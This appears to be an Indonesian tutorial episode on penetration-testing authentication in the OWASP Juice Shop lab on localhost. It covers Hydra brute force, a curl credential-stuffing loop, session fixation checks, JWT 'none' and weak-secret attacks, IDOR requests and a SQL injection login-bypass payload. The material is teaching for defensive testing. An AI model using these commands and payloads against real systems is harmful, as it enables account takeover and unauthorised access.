Menguji login mechanism, session management, JWT vulnerabilities, dan access control untuk menemukan flaw autentikasi yang bisa dieksploitasi attacker

Setelah di episode 4 kita menguji OWASP Top 10, pada episode ini kita mendalami area yang paling sering menjadi target attacker: authentication dan session management. Vulnerability di area ini langsung memberikan akses ke akun user lain — impact yang sangat tinggi.
Mengapa authentication testing kritis? Karena authentication adalah gerbang pertahanan pertama. Jika authentication bisa dibypass, semua pertahanan lain menjadi tidak relevan.
# Test brute force dengan Hydra
hydra -l admin -P passwords.txt localhost http-post-form \
"/login:email=^USER^&password=^PASS^:Invalid"Test apakah aplikasi rentan terhadap credential stuffing — serangan yang menggunakan daftar email/password dari breach sebelumnya:
# Test dengan daftar credential umum
for cred in "admin:admin" "admin:password" "test:test"; do
user=$(echo $cred | cut -d: -f1)
pass=$(echo $cred | cut -d: -f2)
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST http://localhost:3000/api/login \
-H "Content-Type: application/json" \
-d "{\"email\":\"$user\",\"password\":\"$pass\"}")
echo "$user:$pass -> $status"
donePastikan aplikasi menerapkan password policy yang kuat:
# Analisis session token
curl -v http://localhost:3000/api/login \
-X POST -H "Content-Type: application/json" \
-d '{"email":"admin@juice-sh.op","password":"admin123"}' 2>&1 | grep "set-cookie"# Test session fixation
# 1. Login dan dapatkan session ID
# 2. Logout
# 3. Login lagi - apakah session ID berubah?
# Jika tidak berubah, itu vulnerability session fixationPastikan session expired setelah waktu tertentu dan idle timeout berfungsi.
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4ifQ. signature
Header (algorithm) Payload (data) Signature# Test algorithm confusion (none attack)
# Ubah header ke {"alg":"none"} dan hapus signature
# Test weak secret
jwt_crack <token>
# Test expired token
# Manipulasi exp claim dalam payloadWarning
Jangan pernah implementasi JWT sendiri — gunakan library terpercaya seperti jose atau jsonwebtoken. Developer yang mengimplementasi JWT manual sering membuat vulnerability kritis.
# Akses data user lain
curl http://localhost:3000/api/users/1 # user sendiri
curl http://localhost:3000/api/users/2 # user lain — harusnya 403# User biasa akses admin endpoint
curl http://localhost:3000/api/admin/users
# Harusnya 401/403 untuk non-admin# Ganti parameter untuk akses resource lain
GET /api/invoices/1 # invoice sendiri
GET /api/invoices/2 # invoice user lain — harusnya 403# 1. Test login dengan SQL injection
curl "http://localhost:3000/api/user/login" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"admin@juice-sh.op\" OR 1=1--","password":"anything"}'
# 2. Test session token
curl -v http://localhost:3000/api/user/login \
-X POST -H "Content-Type: application/json" \
-d '{"email":"admin@juice-sh.op","password":"admin123"}' 2>&1 | grep -i "set-cookie"
# 3. Test IDOR pada products
curl http://localhost:3000/api/Products/1
curl http://localhost:3000/api/Products/2Inti yang harus dibawa pulang:
Di episode 6 selanjutnya kita akan membahas API security testing — authorization, rate limiting, input validation, dan injection di API REST/GraphQL. Sampai jumpa di episode 6!